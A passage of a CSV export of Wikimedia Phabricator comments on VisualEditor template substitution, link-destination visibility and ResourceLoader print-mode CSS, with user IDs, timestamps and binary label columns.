+However, this doesn't work well if you know there's one link to [[foo|xxx]] somewhere on the page and you want to change it to [[bar|xxx]], I agree.",,,1372015806,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e3ncbibtfnsjabzzzce6,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+233966,"VisualEditor: No way to identify destination, rather than link text, of links","The workflow of ""this article has DAB issues, it's pointing to [disambiguation page], I should point it to [proper page], now to find the link that's pointing to the disambig- shit.""",,,1371791889,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-e3ncbibtfnsjabzzzce6,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+233963,"VisualEditor: No way to identify destination, rather than link text, of links","You can just click the floating ""chain"" icon to see the name of the destination article. 
+
+What does this bug relate to in particular? Was there some use case where this isn't working/isn't possible?",,,1371791727,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-e3ncbibtfnsjabzzzce6,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,0
+51904,"Support ""substituting"" templates in transclusion dialog","User:JohnCD at English Wikipedia writes the following:
+""If you enter, for instance, ""Welcome"" in the new template box, on clicking ""Apply changes"" you see the result; but if you enter ""subst:welcome"" you see only {{subst:welcome}}, though after clicking ""Save page"" the result is correct. Should there be a check-box for ""subst"" in the New template dialogue, (a) to save typing it out, (b) to arrange the correct display?""
+
+James F. suggested this would be good to enter as an enhancement request, since template substitution should be supported.
+
+Maggie
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=66281",Low,25.0,1371756600,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_description,open,True,c1,2,False,False,,-2,,0,0,0,1,0,1,1,0,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1
+2019516,"Support ""substituting"" templates in transclusion dialog","@matmarex , the [[ https://en.wikipedia.org/wiki/Module:Unsubst | unsubst module ]] can be used in most cases to prevent inexperienced editors from accidentally using substitution erroneously. Beyond that, a better version of TemplateData would allow for instruction about substitution for each template.
+
+For now, I think allowing substitution in VE is still a worthwhile goal, even if it has to remain a somewhat advanced/hidden feature to avoid improper use.",,,1668563742,,PHID-USER-tl3o6dlackm57f3qrt4b,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,489,,1,0,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1
+2016893,"Support ""substituting"" templates in transclusion dialog","Change 855565 **merged** by jenkins-bot:
+%%%[mediawiki/core@master] ParsoidHandler: remove subst feature from wt2html%%%
+https://gerrit.wikimedia.org/r/855565",,,1668101234,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,488,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+2016768,"Support ""substituting"" templates in transclusion dialog","For context about this patch: @daniel discovered that feature in Parsoid while doing some refactoring, and we discovered that we were not using it. All it does is to add `subst:` to template invocations, before calling existing APIs for pre-save transform and for parsing. That doesn't seem useful even if we wanted to add substing templates to VE (we could easily add this prefix and call the APIs ourselves).
+
+We're not planning to work on this task apart from this at the moment. The main obstacle is designing the interface so that people wouldn't damage articles by using it without understanding what it does.",,,1668093586,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,488,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,1,1,0,0,0
+2016604,"Support ""substituting"" templates in transclusion dialog","Change 855565 had a related patch set uploaded (by Daniel Kinzler; author: Daniel Kinzler):
+%%%[mediawiki/core@master] ParsoidHandler: remove subst feature from wt2html%%%
+https://gerrit.wikimedia.org/r/855565",,,1668086122,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,488,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1735643,"Support ""substituting"" templates in transclusion dialog","Yes, that's the goal.  There is no timeline for when the work might be done.",,,1623088652,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,414,,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+1734592,"Support ""substituting"" templates in transclusion dialog","Am I right in understanding that this ticket seeks to make it possible to use subst when adding a template to a page in VisualEditor, or is that another task?",,,1622827126,,PHID-USER-tl3o6dlackm57f3qrt4b,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,413,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+1508507,"Support ""substituting"" templates in transclusion dialog","Parsoid's API supports substing. But, VE folks need to figure out what they exactly need to support user feature requests. I'm going to untag Parsoid here. @Esanders @matmarex @JTannerWMF: please take a look and retag Parsoid with an updated description if you need anything from us.",,,1590034383,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,359,,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0
+1215867,"Support ""substituting"" templates in transclusion dialog","Another request for this, this time from @Hoefsldyla :  https://www.mediawiki.org/wiki/Topic:Uq6vtaf8wk0z30zh
+",,,1548380239,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,290,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0
+624435,"Support ""substituting"" templates in transclusion dialog","[[ https://fr.wikipedia.org/w/index.php?title=Wikip%C3%A9dia:%C3%89diteurVisuel/Avis&diff=0&oldid=123998059#Subst_dans_le_mod.C3.A8le_ouvrage | New feedback ]] concerning that task (here, need to subst: a date on a template included with VE).",,,1457356882,,PHID-USER-uciss2jl2e4ifxqqk7wk,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,140,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+483293,"Support ""substituting"" templates in transclusion dialog",">>! In T51904#1406296, @Krenair wrote:
+> I'm not sure the parsoid API from T73161 is quite what we were looking for. The idea had been to allow the user to mark a template to be substituted upon save, but with this we'd have to substitute an entire transclusion (immediately?)
+
+If you look at this task's description, it asks for being able to do a subst when inserting a template from the template dialog box. Also, according to the description, susbt already works when saving.",,,1435560829,,PHID-USER-56wtmb23orq4pu5liyj5,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,104,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+482797,"Support ""substituting"" templates in transclusion dialog","If I have misunderstood this feature and how it would work inside VE, then we should talk more on IRC sometime to get clarity about how this would / should work and update it here, and we can make appropriate updates to the API.",,,1435360448,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,103,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0
+482795,"Support ""substituting"" templates in transclusion dialog",">>! In T51904#1406342, @Krenair wrote:
+> Substituting things directly on the client? That sounds like we'd run into more issues involving unbalanced html fragments?
+
+Yes, subst directly on the client. In VE, as far as I understand, you cannot add transclusions that generate unbalanced HTML since you have to ask Parsoid for an expansion and you get balanced DOMs always.
+
+So, as far as I can imagine, this subst feature in VE will have to be in-edit substitution of DOMs rather than on-save substitution of arbitrary wikitext.",,,1435360176,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,103,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,1,1,0,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+482794,"Support ""substituting"" templates in transclusion dialog",">>! In T51904#1406342, @Krenair wrote:
+> Substituting things directly on the client? That sounds like we'd run into more issues involving unbalanced html fragments?
+
+Yes, subst directly on the client. In VE, as far as I understand, you cannot add transclusions that generate unbalanced HTML since you have to ask Parsoid for an expansion and you get balanced DOMs always.
+
+So, as far as I can imagine, this subst feature in VE, it will have to be in-edit substitution of DOMs rather than on-save substitution of arbitrary wikitext.",,,1435360150,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,103,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+482792,"Support ""substituting"" templates in transclusion dialog",Substituting things directly on the client? That sounds like we'd run into more issues involving unbalanced html fragments?,,,1435359746,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,103,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,1,0,0
+482788,"Support ""substituting"" templates in transclusion dialog","But yes, you would have to substitute transclusions immediately, rather than ""on-save"" as with the wikitext PST mode of operation.",,,1435359430,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,103,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+482786,"Support ""substituting"" templates in transclusion dialog",">>! In T51904#1406296, @Krenair wrote:
+> I'm not sure the parsoid API from T73161 is quite what we were looking for. The idea had been to allow the user to mark a template to be substituted upon save, but with this we'd have to substitute an entire transclusion (immediately?)
+
+But, whenever a user edits a transclusion, you are querying the API to fetch the expansion. So, you would enable the subst parameter alongwith the query instead of marking up individual transclusions for 'at-save' substitution. Once substed, the transclusion itself goes away and the editor can further tweak that output if required.",,,1435359220,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,103,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1
+482780,"Support ""substituting"" templates in transclusion dialog","I'm not sure the parsoid API from T73161 is quite what we were looking for. The idea had been to allow the user to mark a template to be substituted upon save, but with this we'd have to substitute an entire transclusion (immediately?)",,,1435358724,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,103,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+232499,"Support ""substituting"" templates in transclusion dialog","Change 153895 abandoned by Alex Monk:
+Add a subst property to template data which adds ""subst:"" to the target
+
+Reason:
+I'm not actually planning to work on this commit. The associated VE commit will continue to depend on this however.
+
+https://gerrit.wikimedia.org/r/153895",,,1412721735,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,66,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+232492,"Support ""substituting"" templates in transclusion dialog","Change 153934 had a related patch set uploaded by Alex Monk:
+Provide a checkbox on template page of transclusion dialog to substitute when saving
+
+https://gerrit.wikimedia.org/r/153934",,,1407964061,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,58,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+232487,"Support ""substituting"" templates in transclusion dialog","Change 153895 had a related patch set uploaded by Alex Monk:
+Add a subst property to template data which adds ""subst:"" to the target
+
+https://gerrit.wikimedia.org/r/153895",,,1407963687,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,58,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0
+232483,"Support ""substituting"" templates in transclusion dialog","Subst:ing isn't working (again?  still?).  
+
+If you follow the (soon-to-be-blanked) directions in the user guide, you get the text typed in, with no display, no expansion, and no processing.  The result is that the exact wikitext of your template displays on the page, exactly as if it had been nowiki'd, but without the nowiki tags.
+
+https://en.wikipedia.org/w/index.php?diff=620566012&oldid=618729009",,,1407626540,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,57,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0
+232479,"Support ""substituting"" templates in transclusion dialog","Not only in insert dialogue. Template text should be inserted and rerendered page immediately.
+for example:
+-[[:en:Template:Accent]]
+-[[:ru:Шаблон:Ударение]]
+
+i do
+-te|xt
+-insert/template - subst:Ударение
+
+i see in VE
+-te{{subst:Ударение}}xt
+(after saving the page text in read mode looks normally: téxt)
+
+
+I want to see in VE
+-téxt
+
+if possible it should be a new method ""template (with parameters) to text ()"" with no return to template
+for example:
+-""insert/subst"" or ""insert/template"" and in dialogue check-box for ""subst""
+-open TemplateData for ""template"" (now for ""subst:template"" TemplateData not shown)
+-press Add template
+-template is executed and generate new text which is inserted same as ctrl+v
+-the new text (or all page) rendered (may consist any other template inside it)",,,1406716486,,PHID-USER-5joeladhczukimiv4rwl,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,56,,1,0,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,0,0,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+232474,"Support ""substituting"" templates in transclusion dialog",*** Bug 59182 has been marked as a duplicate of this bug. ***,,,1389931233,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,28,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+232469,"Support ""substituting"" templates in transclusion dialog","(In reply to comment #4)
+> (In reply to comment #3)
+> > (In reply to comment #2)
+> > > This is effectively a subset of bug 49833 which seems to be part tracking,
+> > > part bugs, part enhancement requests
+> > 
+> > … part mess. :-(
+> > 
+> > Not sure why you turned it into a tracker after Krinkle mis-named it; I don't
+> > think it helps at all. I might undo that.
+> 
+> Sorry, that would be my misunderstanding of Krinke's intentions and then
+> trying to be helpful. :(
+
+Not your fault at all. :-) All fixed now, anyway.",,,1378227406,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,9,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+232463,"Support ""substituting"" templates in transclusion dialog","(In reply to comment #3)
+> (In reply to comment #2)
+> > This is effectively a subset of bug 49833 which seems to be part tracking,
+> > part bugs, part enhancement requests
+> 
+> … part mess. :-(
+> 
+> Not sure why you turned it into a tracker after Krinkle mis-named it; I don't
+> think it helps at all. I might undo that.
+
+Sorry, that would be my misunderstanding of Krinke's intentions and then trying to be helpful. :(",,,1377908456,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,8,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+232458,"Support ""substituting"" templates in transclusion dialog","(In reply to comment #2)
+> This is effectively a subset of bug 49833 which seems to be part tracking,
+> part bugs, part enhancement requests
+
+… part mess. :-(
+
+Not sure why you turned it into a tracker after Krinkle mis-named it; I don't think it helps at all. I might undo that.",,,1377899956,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,8,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+232448,"Support ""substituting"" templates in transclusion dialog","This is effectively a subset of bug 49833 which seems to be part tracking, part bugs, part enhancement requests",,,1377897429,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0
+232440,"Support ""substituting"" templates in transclusion dialog",Lots of important templates need subst. On en {{prod}} and {{afd}} both need to be subst.,,,1377871154,,PHID-USER-7hrs7wwclcldf7mm6a7o,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+51722,ResourceLoader does not process media queries for printable view with JS-added CSS,"It seems that the server part of this is already correct.  The client just needs to add printable=1 to requests for JS-wrapped CSS should include printable=1, when the page is in print mode (printabable=yes).
+
+This is necessary to make sure that screen CSS is omitted and print CSS is not wrapped in @media print for this use case.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal",Low,25.0,1371510780,1507244402.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-uou7qnzilekcbteofdw4,task_description,declined,True,c1,2,True,False,False,-2,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0
+942898,ResourceLoader does not process media queries for printable view with JS-added CSS,"Given {T24256} was resolved, that means the printable mode is essentially no longer discoverable/advertised to users. I'm closing this task in favour of T167956.",,,1507244402,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,3,True,,,222,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+468076,ResourceLoader does not process media queries for printable view with JS-added CSS,"I think {T24256} is definitely better than simply dropping the link entirely (although we'd have to hide it for no-JS).  A feature is only useful if users know about it, and I think having the link exposes the fact that our pages look reasonably good when printed.",,,1433302393,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,3,True,,,100,,0,0,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+466703,ResourceLoader does not process media queries for printable view with JS-added CSS,"I do know that the ""printable"" link, in the past had surprising amount of traffic for other websites. As in: without it, people don't know how to print (yes, i know, i know...)
+
+So if we do remove the printable mode, then having the JS enabled print mode link is probably quite desirable I suspect.",,,1433165098,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,3,True,,,100,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
